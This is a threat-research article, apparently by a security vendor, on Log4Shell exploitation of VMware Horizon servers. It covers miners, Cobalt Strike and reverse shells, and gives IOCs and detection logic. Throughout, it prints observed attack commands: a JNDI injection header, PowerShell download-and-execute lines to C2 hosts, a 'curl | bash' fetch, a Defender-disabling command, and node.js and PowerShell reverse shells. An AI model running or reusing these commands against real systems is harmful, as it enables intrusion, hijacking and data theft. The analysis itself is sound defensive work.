Search results for:
By: Orion Threat Research and Intelligence Team
HorizonBackdoor – Log4Shell vulnerability leads to VMware Horizon Servers exploitation
Based on several incident response investigations, Cynet has detected active exploitations of the Log4Shell vulnerability on VMware Horizon Servers by different threat actors who deployed Cobalt Strike beacons, Cryptominers, and fileless reverse shells.
Additional indicators point to the Night Sky ransomware group and Memento ransomware.
Log4j is an open-source logging framework distributed by Apache group that is widely used by well-known public services and roughly one-third of the world’s web servers.
On December 9, 2021, an RCE (Remote Code Execution) vulnerability was disclosed within the log4j package (CVE-2021-44228, CVE-2021-45046) which allows an attacker to execute arbitrary code on machines that utilize the logging functionality of the log4j package giving the vulnerability its common name: Log4Shell.
For additional information and details please visit our Log4Shell Explained webpage.
Attack scenario example:
Log4Shell JNDI attack – An attacker can craft the following HTTP header and send it to the target application:
| GET / HTTP/1.1
Host: vulnerable.com User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/Java_class} |
By using the technique above to exploit the vulnerability, a simple Python script can be used to trigger an RCE on a vulnerable server:
Another example of the Log4Shell JNDI attack is demonstrated by the Swiss Government CERT:
Following the Log4Shell exploits, VMware reported that several of its products were vulnerable. You can find the full list here.
One of the reported products is VMware Horizon, which is being used for digital workspaces that offer virtual desktops and apps across the cloud. You can find a VMware disclosure report here.
Timeline of Log4Shell and VMware Horizon exploitation:
VMware has published recommendations & mitigation steps for the vulnerability, including patches:
| Downloads | Release Notes |
| Horizon 2111 | VMware Horizon 8 2111 Release Notes |
| Horizon 7.13.1 | VMware Horizon 7 version 7.13.1 Release Notes |
| Horizon 7.10.3 | VMware Horizon 7 version 7.10.3 Release Notes |
At the beginning of January 2022, Cynet’s Orion threat research and intelligence team observed threat actors abusing the Apache Tomcat service and utilizing the Log4Shell vulnerability to exploit VMware Horizon servers to gain initial access to the environment.
The threat actors deployed additional payloads and established communication to C2 servers, Cobalt Strike beacons, Cryptominers, etc.
Based on the IOCs (indicators of compromise) and the TTPs (tactics, techniques, and procedures) observed, we believe that Chinese-based ransomware operators dubbed Night Sky (and tracked by Microsoft as DEV-0401) is behind on some of the attacks.
On January 11th, Bleeping computer reported “Night Sky ransomware uses Log4j bug to hack VMware Horizon servers“.
In addition to the Chinese-based ransomware operators, we observed unknown threat actors using Cobalt Strike on vulnerable VMware Horizon servers.
These unknown threat actors abused PowerShell to load and inject a fileless beacon into the memory.
We have also responded to an incident where threat actors attempted to establish a reverse shell session through a PowerShell command.
According to our observations, in all these cases the process ws_tomcatservice.exe was involved.
From our IR case, here are some examples of ws_tomcatservice.exe executing PowerShell encoded commands:
Following this information and the execution commands via the ws_tomcatservice.exe process, the threat actors automatically gained system privileges (nt authority – system).
The first detection suggestion is based on the above information:
MITRE reference: TA0001 (Initial Access), T1190 (Exploit Public-Facing Application)
Note that the community shared a Sigma rule which covers a similar logic:
https://github.com/SigmaHQ/sigma/blob/70deac624004fd9d3c0326cd897042b5f5bc574b/rules/windows/process_creation/win_webshell_spawn.yml#L20
We observed threat actors that carried out research on the “VMware View” installation and noticed that one of the binaries being installed as part of “VMware View” is node.exe.
This binary allows threat actors to use it as a LOLBin for the execution flow.
The node.exe process executed cmd.exe as part of the exploitation:
The full kill-chain flow from our logs:
Grandparent process: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
Parent process: c:\program files\VMware\VMware view\server\appblastgateway\node.exe
Process: c:\windows\system32\cmd.exe
Based on this information, we have created another detection logic suggestion:
MITRE reference: TA0001 (Initial Access), T1190 (Exploit Public-Facing Application)
Below we will cover several cases of VMware Horizon exploitation attempts.
Initial Access – TA0001 (Initial Access), T1190 (Exploit Public-Facing Application)
Based on MITRE ATT&CK, the incidents started with the “Exploit Public-Facing Application” technique against the VMware Horizon servers, which is part of the “Initial Access” tactic.
In case #1 below, we cover the XMRig crypto-mining trojan. In addition, to the installation of the XMRig, we have also identified indicators that lead us to conclude that the threat actors behind the incident are related to the Night Sky ransomware group (Case 1.1).
Xmrig.exe is part of XMRig open-source CPU/GPU cryptocurrency mining software. XMRig is known as an easy-to-use miner, offering user-friendly options to configure the miner according to the user’s preferences.
This incident was detected on Windows Server 2016 Standard x64 and Windows Server 2019 Standard x64, both of which are VMware Horizon servers.
Execution flow:
| Parent process: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
Child process: cmd /C ‘powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB0AGUAbQBwAGYAaQBsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApADsAIAAkAHQAZQBtAHAAZgBpAGwAZQAgACsAPQAgACcALgBiAGEAdAAnADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADcAMgAuADQANgAuADUAMgAuADEAMwA1AC8AbQBhAGQAXwBtAGkAYwBrAHkALgBiAGEAdAAnACwAIAAkAHQAZQBtAHAAZgBpAGwAZQApADsAIAAmACAAJAB0AGUAbQBwAGYAaQBsAGUA’ |
A CMD instance executed via the ws_tomcatservice.exe process with a /C parameter that executes a PowerShell command encoded in Base64. The PowerShell instance is executed with the following parameters:
The decoded command:
| $wc = New-Object System.Net.WebClient;
$tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += ‘.bat’; $wc.DownloadFile(‘http://72.46.52[.]135/mad_micky[.]bat’, $tempfile); & $tempfile |
The above command uses System.Net.WebClient Class to access a web page, in our case the C2 server 72.46.52[.]135.
The command downloads the file “mad_micky.bat” and overwrites a file located in the %temp% directory.
We downloaded mad_micky.bat for further analysis:
mad_micky.bat – Batch file including malicious content.
First, the malicious batch file provides an indication on a PowerShell command that disables the real time monitoring in Windows.
| Line 2: Powershell -c “Set-MpPreference -DisableRealtimeMonitoring $true” |
The above command is related to the Impair Defenses technique – MITRE T1562.
Threat actors disabled Windows Defender real-time monitoring in order to prepare the compromised host for the next stage of payloads.
Then, it checks whether following path exists:
| %USERPROFILE%\mimu1 – C:\users\{current_user}\mimu1 |
If the condition is met, the flow “exist1” is taken – It checks whether the process “xmrig.exe” is running, and if it is running, it prints “now is running”.
If the condition is not met, the flow “exist” is chosen – Using “[System.IO.Path]::GetTempFileName()”, it creates a temp file from in the AppData\Loca\Temp\ directory and assigns it to the variable $tempfile.
The temporary file is used to contain the payload which is downloaded from the following URL:
| hxxp://72.46.52[.]135/mad[.]bat |
After the payload (which now resides in the temporary file) is downloaded, it gets executed and than deleted from disk.
As you can see in the image below, the downloaded payload – (batch file), contains the XMRig miner configuration:
The code above indicates the mining of the Monero cryptocurrency.
If the victim has user privileges, the miner achieves persistence by copying the miner batch file from %userprofile%\mimu\miner.bat to the startup folder.
%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
%userprofile%\Start Menu\Programs\StartUp
The above activity is related to the MITRE sub-technique “Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder” 
If the victim has admin privileges, the miner installs a service for the miner by using PowerShell to download additional tools from hxxp://lurchmath[.]org/wordpress-temp/wp-content/plugins/nssm[.]zip
To setup the miner (mimu_miner) service, it downloads the tool to %userprofile% path as a zip file: “%userprofile%\nssm.zip”
nssm.zip – Non-Sucking Service Manager (NSSM) is a service helper program that assists in installing an application as a service.
Then it extracts the zip file to the ““%userprofile%\mimu”,
If extracting the zip file fails, it downloads the 7zip (7za.exe) tool in order to succeed in unpacking/unziping the nssm.zip file.
It then uses the nssm-service manager tool to create the service “mimu_miner” to execute \mimu\xmrig.exe
If the creation fails, it attempts to create mimu_miner as AppDirectory service.
MITRE Sub-Technique “Create or Modify System Process: Windows Service”
In addition, the XMRig miner configuration is revealing the attacker’s dedicated Monero pool.
During the investigation, we have observed the IP address 195.201.124[.]214, which is a mining pool address for the miner configuration related to MoneroOceans mining pools.
According to VirusTotal, the IP address is indeed related to the “MoneroOceans.stream” domain.
Reference:
https://moneroocean.stream/
https://old.moneroocean.stream/#/dashboard
https://github.com/xmrig/xmrig/
Using the pool address and the website related to it, we can get a better understanding of the attack scale:
The pool was created on January 14th, it is comprised of 773 infected machines, dedicating parts of their CPU to the threat actors pool, and it is currently running at a rate of 0.5 XMR (Aprox 30$) per day.
It is worth mentioning that threat actors usually lower their risk by setting up several pools for the same campaign.
In the next case, on the same compromised machines where the XMRig was installed,we observed the following command execution:
| cmd /C ‘curl 72.46.52[.]135/dl[.]sh | bash’ |
Here, the C2 server responds with “Not Found” and the file dl.sh is not available on the C2 server.
But navigating to the IP address reveals the following MoneroOcean setup script:
https://github.com/MoneroOcean/xmrig_setup/blob/master/setup_moneroocean_miner.sh
Based on a VirusTotal search, we see that this IP was mentioned by the community: “Seeing this hit public-facing Horizon server”.
According to the VirusTotal search, we have observed that the dl.sh file is in the relations tab:
In this case, dl.sh seems to be targeting hosts that have WSL (Windows Subsystem for Linux).
This makes monitoring and detection a bit more complex as it hides its activity behind the virtualization layer of the Linux guest.
As part of its flow, the script transfers execution to other scripts it downloads. All the scripts will perform similar actions and, after performing certain checks, they drop the XMRig cryptominers on the victim’s machine. The main activities of these scripts are:
Extracted IOCs:
| IOC | Category | SHA256 | URL |
| dl.sh | Script | 37A794E32F58E40658CDABBE16CD6B9EFB807B66ECD19C352FE7769D000E5AFE | hxxp[://]72[.]46[.]52[.]135/dl.sh |
| dm.sh | Script | 5EC113EDE6F48CD2A4F6A6233E8D58DA4A6EB276D8689CF0BAE49EA2F269C23A | hxxp[://]72[.]46[.]52[.]135/dm.sh |
| rodolf.sh | Script | 961B153F31DC9B75F6C5F14DDE1D1676DF77647651A03C39ADBB91F08D4CB3E2
A4EA19B36DA84E5BE9635AB76E9EDA1E22F55C95344B969EFC147CF547FB2046 |
hxxp[://]72[.]46[.]52[.]135/dml.sh
hxxps[://]41[.]157[.]42[.]239/sol.sh |
| static.sh | Script | 581513FBEDB4C28E63F9D91625B032EFC82AEB849086BCB0469081CDF830256C | hxxps[://]41[.]157[.]42[.]239/so.sh |
| afghan | Cryptominer | 6E4B708017992A4600A644660B82C1068BECB1C1D1212A70A14BBE89C3B211FD | hxxp[://]72[.]46[.]52[.]135/sys.x86_64
hxxps[://]41[.]157[.]42[.]239/sys |
| juma | Cryptominer | EF11C120FAB2129FCE6DDDB8B007102EF98281E11864386FF09C179C58D1DFE0
B2E2FE9E6DDBD05B8113419283B4C4E7AEBF4ACE21C0892545B1521936EBD3D6 |
hxxps[://]41[.]157[.]42[.]239/static.c
hxxps[://]41[.]157[.]42[.]239/static.c.x86_64 |
| 107[.]191[.]63[.]34 | IP | ||
| 72[.]46[.]52[.]135 | IP | ||
| 41[.]157[.]42[.]239 | IP | ||
| 207[.]38[.]87[.]6 | IP | ||
| /tmp/.shanbe/ | Directory |
As we continued monitoring the infected host, we observed that the threat actors executed other shell commands. In case 1.2, we cover the node.exe process that was abused by the threat actors as a LOLBin.
| ‘C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe’ -r net -e ‘sh = require(‘child_process’).exec(‘cmd.exe’);var client = new net.Socket();client.connect(8853, ‘66.42.36[.]178′, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});’ |
The above command was executed through the ws_tomcatservice.exe process:
| Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe |
The JavaScript command opened a connection to ‘66.42.36[.]178’ on port 8853 and opened a reversed shell via cmd.exe.
As mentioned above, we researched the “VMware View” environment and noticed that one of the binaries being installed as part of “VMware View” is node.exe which can be abused in order to execute JavaScript commands.
We are still investigating this case and will publish more details and IOCs when our investigation is completed.
In case 1.3, we spotted another Cryptominer deployment attempt:
The following command was executed on the infected host:
| powershell iex(New-Object Net.WebClient).DownloadString(‘http://80.71.158[.]96/xms[.]ps1’) |
xms.ps1 content:
The main functionality of the script:
The downloaded payload is XMRig miner:
After covering the TTPs the threat actors utilized to deploy the XMRig miner, they executed another interesting command which leads us to case 1.4:
According to this report by Microsoft, the attackers are using C2 servers that spoof a legitimate domain, api[.]rogerscorp[.]org, using the following command:
| powershell -c curl -uri http://api[.]rogerscorp[.]org:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((echo [IP Of the Victim]))))) |
The above PowerShell command executed curl command to send the victim’s external IP address via a POST request to the http://api.rogerscorp[.]org domain over port 80.
Microsoft Security Intelligence’s tweet:
VirusTotal community comments:
Night Sky was first observed at the end of 2021 while being distributed by a Chinese-based ransomware operator. The threat actors exploit Log4j CVE-2021-44228 and CVE-2021-45046 on VMware Horizon machines.
The Night Sky ransomware was first spotted by MalwareHunterTeam on Jan 1th.
The Night Sky ransomware group threatens its victims with the double extortion model. It allows the threat actors to get hold of the victim’s assets and demand ransom for their decryption, while also exfiltrating data and threatening the victim that the data will be forever gone, sold or published to the public if he fails to meet their ransom demands.
Part of the note (double extortion):
“we will decrypt the data and destroy the stolen data without leaking the data.”
Night Sky leak site:
When examining the discovery command on the compromised machines, we noticed that the following commands were being executed via Windows legitimate binaries:
| net session tasklist ipconfig /all NslookupNetstat -ano nltest |
The above discovery commands are executed via the node.exe process using the following execution:
| GrandParent process: c:\program files\vmware\vmwareview\server\bin\ws_tomcatservice.exe
Parent process: c:\program files\vmware\vmware view\server\appblastgateway\node.exe Process: [The above commands, net, tasklist, ipconfig…] |
Next, we cover an Incident response case where Cobalt Strike was executed following a Log4shell exploitation.
In this case, we detected the following execution flow:
| Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: powershell.exe -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA= |
The decoded PowerShell base64 command:
| iex ((New-Object System.Net.WebClient).DownloadString(‘http://185.112.83[.]116:8080/drv’)) |
The command above is a simple fileless PowerShell execution that utilizes the IEX cmdlet in order to execute the malicious content that is retrieved from ‘hxxp://185[.]112[.]83[.]116:8080/drv’ by the DownloadString method.
The malicious URL leads to an obfuscated PowerShell script that contains a lot of “junk” strings:
After decoding the PowerShell code, we found a Base64 encoded code. This chunk of code is part of a Cobalt Strike shellcode:
The Base64 block encrypted with bxor (XOR) with a key of 35 (Decimal).
We extracted the Cobalt Strike shellcode by using the following CyberChef recipe:
In the next stage, the shellcode executes the rundll32.exe process (by default) and injects the CS beacon into it. We observed additional processes which could be executed during a Cobalt Strike infection.
Processes that could be potentially involved in a CS injection:
| \sysnative\dllhost.exe \sysnative\wuauclt.exe \sysnative\esentutl.exe \sysnative\werfault.exe \sysnative\regsvr32.exe \sysnative\userinit.exe \sysnative\mstsc.exe \sysnative\net.exe \sysnative\svchost.exe \sysnative\gpupdate.exe \sysnative\lsass.exe \sysnative\searchindexer.exe |
The common pattern for these processes is that when Cobalt Strike injects the code, these processes are executed without any command-line parameters. This is very suspicious. For example, regsvr32 or werfault that are being executed without any command line parameters is considered an anomaly as this behavior won’t be observed as part of a normal operating system activity. Additionally, in most cases, the injecting process also contains a new memory page with RWX permissions and the content of this page is a PE code. Note that the threat actors could also use only RX memory permissions.
stage.userwx – “This setting is a Boolean and informs the default loader to either use RWX or RX memory.
At runtime Beacon will either include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader needs to set the protection on the .text section as RWX otherwise Beacon will crash. If the setting is set to FALSE, your user defined loader should set the protection on the .text section as RX as the .text section will not be masked.”
The next case will cover another IR incident where the threat actors executed a reverse shell via PowerShell script that is inspired by the Metasploit framework.
We will cover the PowerShell reverse shell script and explain each line in the code in order to best understand of the functionality the script and how it works.
The execution flow:
| Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: powershell -nop -ec JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA0ADIALgA0ADQALgAyADUAMQAuADcANwAiACwANAA0ADQANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= |
The following PS script is the decoded Base64 command:
$client = New-Object System.Net.Sockets.TCPClient(“142.44.251[.]77”,4445); 
$stream = $client.GetStream();
[byte[]] $bytes = 0..65535 | %{0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { ;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String ); 
$sendback2 = $sendback + “PS ” + (pwd).Path + “> “; 
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
};
$client.Close()
Inspired by a PowerShell implementation of a reverse shell from the Metasploit framework (https://github.com/rapid7/metasploit-framework/blob/389fd55952a18dcddc072c9f5fde0c474da3401d/data/exploits/powershell/powerfun.ps1)
Comment that implies the IP is related to an exploitation in-the-wild of the Log4J vulnerability.
At the time of writing, the server is refusing connections:
Assumption: The server is missing some information about the host (Which should be collected prior to the reverse shell session), and thus it won’t accept the connection.
We detected another similar attempt of reverse shell execution via a similar PowerShell script and in this case, we were able to receive a connection to the C2 server:
In the screenshot below, we can see the PS script and the $data variable input that was received from the C2 server; cmd.exe /k whoami command:
The $sendback2 variable contains the cmd.exe /k whoami output which should be sent to the C2 server.
The above IP “190.144.115[.]54” has a bad reputation in VT and the community links this IP to the Memento ransomware:
XMRig C2 server:
72.46.52[.]135
hxxp://72.46.52[.]135/mad_micky[.]bat
hxxp://72.46.52[.]135/mad[.]bat
141.85.161[.]18
hxxp://141.85.161[.]18/kill[.]bat
hxxp://141.85.161[.]18/mad_micky[.]bat
80.71.158[.]96
hxxp://80.71.158[.]96/xms[.]ps1
72.46.52[.]135
72.46.52[.]135/dl[.]sh
195.154.187[.]240
hxxp://195.154.187.240/2[.]ps1
51.222.121[.]180
hxxp://51.222.121[.]180:82/kill[.]bat
Unknown C2:
IP: 66.42.36[.]178 Port: 8853
IP: 142.44.251[.]77 Port: 4445
IP: 190.144.115[.]54 Port: 4545
Potenteltliy realted to Night Sky ransomware:
api[.]rogerscorp[.]org
hxxp://api[.]rogerscorp[.]org:80
Cobalt Strike C2:
185.112.83[.]116
hxxp://185.112.83[.]116:8080/drv
In this article
Let’s get started
Ready to extend visibility, threat detection and response?
Prefer a one-on-one demo? Click here
By clicking next I consent to the use of my personal data by Cynet in accordance with Cynet's Privacy Policy and by its partners
